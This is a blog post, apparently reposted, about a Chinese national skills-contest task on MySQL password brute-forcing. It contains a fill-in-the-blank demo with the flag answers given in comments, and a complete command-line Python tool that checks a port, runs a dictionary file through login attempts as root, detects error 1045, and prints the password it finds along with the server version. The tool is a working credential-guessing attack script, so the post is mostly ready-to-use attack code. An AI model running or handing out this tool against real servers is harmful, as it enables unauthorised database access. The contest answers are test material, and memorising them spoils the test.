全国职业技能大赛信息安全管理与评估-MySQL爆破脚本

 

DEMO:

#coding=utf-8 
 
import MySQLdb
 
class MSSQL:
   
    def __init__(self,host,user,pwd):
        self.host = host
        self.user = user
        self.pwd = pwd
 
 
    def connect_dp(self):
        conn = MySQLdb.connect(host=self.host,port=Flag3, user=Flag4,passwd=self.pwd,db='mysql',)
        cur = conn.cursor()
        if not cur:
            raise(NameError,"failed connect to sql server")
        else:
            return self.pwd
 
def main():
    fp = open('/root/superdic.txt','r')
    for password in fp.readlines():
        try:
            a = MSSQL(host=Flag1,user='root',pwd=Flag2)
            ms = a.connect_dp()
            print password.strip()
        except:
            pass
    if not s:
        print 'brute failed'
    fp.close()
if __name__ == '__main__':
    main()
#Flag1 = "127.0.0.1"
#Flag2 = password.strip()
#Flag3 = 3306
#Flag4 = self.user

分析赛题:
赛题主要是考察了类的传参和读写文件时候的去除换行符

代码是分析赛题后构思实现, 因为是自己想到哪写到那,哪里不会百度哪里,就出了一堆BUG~~MMP

函数:
0.printBanner()打印出banenr信息 没什么卵用
1.sqlConnect()核心函数,使用pymysql库连接mysql数据库,这里需要注意下端口是int,还有一点是使用connect函数的时候,如果要指定端口,最好写成host=szhost,port=szport,这种=号的传参方式
mysql密码错误抛出的异常是
pymysql.err.OperationalError: (1045, "Access denied for user 'root'@'192.168.64.130' (using password:YES)")
我用了 "1045" in "抛出的异常" 来判断是否是密码错误,绝对不能直接except出去,因为这个函数会抛出很多异常,比如端口连接失败.连接成功后我执行了一条sql语句用来查询数据库的版本 对~这条语句也会抛出异常 但是这个我没有except~毕竟是个玩具写的老累了.我换了另一种方式,只要是1045错误的异常我都判断成密码认证错误,如果是其他的异常就完整打印出来信息,如果说用户体验什么的话·的确一堆乱七八糟的异常信息会让人很不舒服,但~这是个玩具~~~这样我查错就更方便了..
2.connectTest()连接mysql之前首先判断端口是否能连接

代码逻辑:

参数检查:
0.检查-i和-d后是否带参数 False=》exit() print(help)  True=> 去 1
1.检查-p后是否带参数,False=》使用默认的3306端口 True =》使用指定的端口
2.使用connectTest函数检查目标端口是否开放 False =》exit() print("端口未开放") True => 去3
3.检查字典文件是否存在 False=》exit() print("字典文件无法打开") True=>去4
4.打开字典文件
5.用for in 递归字典文件代码每一行 赋值给另一个变量 这个变量作为密码传进sqlconnect函数

#!/usr/bin/python3
 
import pymysql
import os
import optparse
import socket
import sys
import time
import threading
count = 0
def printBanner():
    banner = '''
 _____ _   _  ____ _  __     __  ____   ______   ___  _     
|  ___| | | |/ ___| |/ /    |  /    / / ___| / _ | |    
| |_  | | | | |   | ' /_____| |/| | V /\___ | | | | |    
|  _| | |_| | |___| . \_____| |  | | | |  ___) | |_| | |___ 
|_|    \___/ \____|_|\_    |_|  |_| |_| |____/ \__\_\_____|
                                                v1.0 R4bbit'''
    print("33[0;31m"+banner+"33[0m");
def connectTest(host,port):
    socket.setdefaulttimeout(0.1)
    ser = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        ser.connect((host,port)) #链接成功 记得close()
        print("[+] Target Port:%d" % port)
        time.sleep(1)
        print("[3]..........");
        time.sleep(1)
        print("[2]..........");
        time.sleep(1)
        print("[1]..........");
        ser.close();
        return True;
    except Exception as e:
        print("目标端口无法访问");
       # print("Error"+str(e));
        return False;
 
def sqlConnect(szhost,szport,szpassword): #链接默认的数据库名Mysql
    global count
    count += 1
    sql = "select version();"
    try:
        db = pymysql.connect(host=szhost,port=szport,user="root",password=szpassword,db="mysql")
        cursor = db.cursor() #获取mysql游标
        if cursor:
            #print("
")
            cursor.execute(sql)
            mysql_ver = cursor.fetchone();
            szStr = "Password is:"+"33[0;31m"+szpassword+"33[0m"
            print("
"+szStr)
            print("MysqlVersion():33[01;31m%s33[0m" %(mysql_ver))
            exit()
       # cursor.execute(sql);
    except Exception as e: 
        #1045 密码错误 去匹配这个1045
        if "1045" in str(e):
            print("
[%d]:%s" % (count,szpassword),end=".");
        else:
            print("[-] Error %s" % str(e));
 
 
def main():
    printBanner();
    parser = optparse.OptionParser("Usage -i <ip> -p <port> -d <dict_file>");
    parser.add_option('-i',dest='ip',type='string',help = 'ip no')
    parser.add_option('-p',dest ='port',type = 'string',help = 'port no')
    parser.add_option('-d',dest='dict_file',type='string',help = 'no dict')
    (options,arg) = parser.parse_args()
    if(options.ip == None) | (options.dict_file == None):
        print(parser.usage)
        exit()
    mysql_ip = options.ip;
    if(options.port == None): #如果没有给出端口 默认就是3306
        mysql_port = 3306;
        print("[+] Use Default Mysql Port:%d" % mysql_port)
    else:
        mysql_port = int(options.port)
        print("[+] Use Mysql Port:%d" % mysql_port)
    mysql_dict = options.dict_file;
    print("[+] Use DictFile:%s" % mysql_dict)
    #判断目标端口是否开放
    time.sleep(2);
    if connectTest(mysql_ip,mysql_port):
        if not os.path.exists(mysql_dict):
            print("[-] %s字典文件 无法访问" % mysql_dict)
            exit(1)
        fp = open(mysql_dict,"r")
        for mysql_pass in fp.readlines():
            sqlConnect(mysql_ip,mysql_port,mysql_pass.strip())
 
 
 
if __name__ == '__main__':
    main();

原文地址:https://www.cnblogs.com/nul1/p/10990140.html